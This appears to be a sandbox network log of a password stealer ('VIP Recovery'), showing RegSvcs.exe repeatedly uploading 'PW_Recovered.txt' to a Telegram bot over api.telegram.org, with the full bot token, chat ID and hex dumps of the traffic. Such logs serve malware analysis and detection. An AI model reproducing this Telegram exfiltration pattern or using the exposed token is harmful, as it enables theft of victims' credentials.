--------------------------8dcdb6b0f853274Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:04
2024-09-19 10:22:25 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:22:25 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:22:25 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 36 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12760,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	61554	149.154.167.220	443	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:22:29 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcdb0945efe091 Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:22:29 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 64 62 30 39 34 35 65 66 65 30 39 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 31 37 Data Ascii: --------------------------8dcdb0945efe091Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:17
2024-09-19 10:22:29 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:22:29 GMT Content-Type: application/json Content-Length: 562 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:22:29 UTC	562	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 36 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12761,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	61555	149.154.167.220	443	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:22:29 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcdbdd55c06625 Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:22:29 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 64 62 64 64 35 35 63 30 36 36 32 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 30 34 Data Ascii: --------------------------8dcdbdd55c06625Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:04
2024-09-19 10:22:29 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:22:29 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:22:29 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 36 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12762,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	61558	149.154.167.220	443	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:22:34 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcdc508e6a9ef6 Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:22:34 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 64 63 35 30 38 65 36 61 39 65 66 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 30 34 Data Ascii: --------------------------8dcdc508e6a9ef6Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:04
2024-09-19 10:22:34 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:22:34 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:22:34 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 36 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12763,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	61559	149.154.167.220	443	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:22:34 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcdb737b693935 Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:22:34 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 64 62 37 33 37 62 36 39 33 39 33 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 31 37 Data Ascii: --------------------------8dcdb737b693935Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:17
2024-09-19 10:22:34 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:22:34 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:22:34 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 36 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12764,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	61562	149.154.167.220	443	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:22:38 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcdee3d2d3270d Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:22:38 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 64 65 65 33 64 32 64 33 32 37 30 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 30 34 Data Ascii: --------------------------8dcdee3d2d3270dContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:04
2024-09-19 10:22:38 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:22:38 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:22:38 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 36 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12765,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	61563	149.154.167.220	443	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:22:38 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcdc15e6f642c6 Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:22:38 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 64 63 31 35 65 36 66 36 34 32 63 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 31 37 Data Ascii: --------------------------8dcdc15e6f642c6Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:17
2024-09-19 10:22:39 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:22:38 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:22:39 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 36 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12766,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	61566	149.154.167.220	443	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:22:42 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcde35e0cc7c14 Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:22:42 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 64 65 33 35 65 30 63 63 37 63 31 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 31 37 Data Ascii: --------------------------8dcde35e0cc7c14Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:17
2024-09-19 10:22:42 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:22:42 GMT Content-Type: application/json Content-Length: 562 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
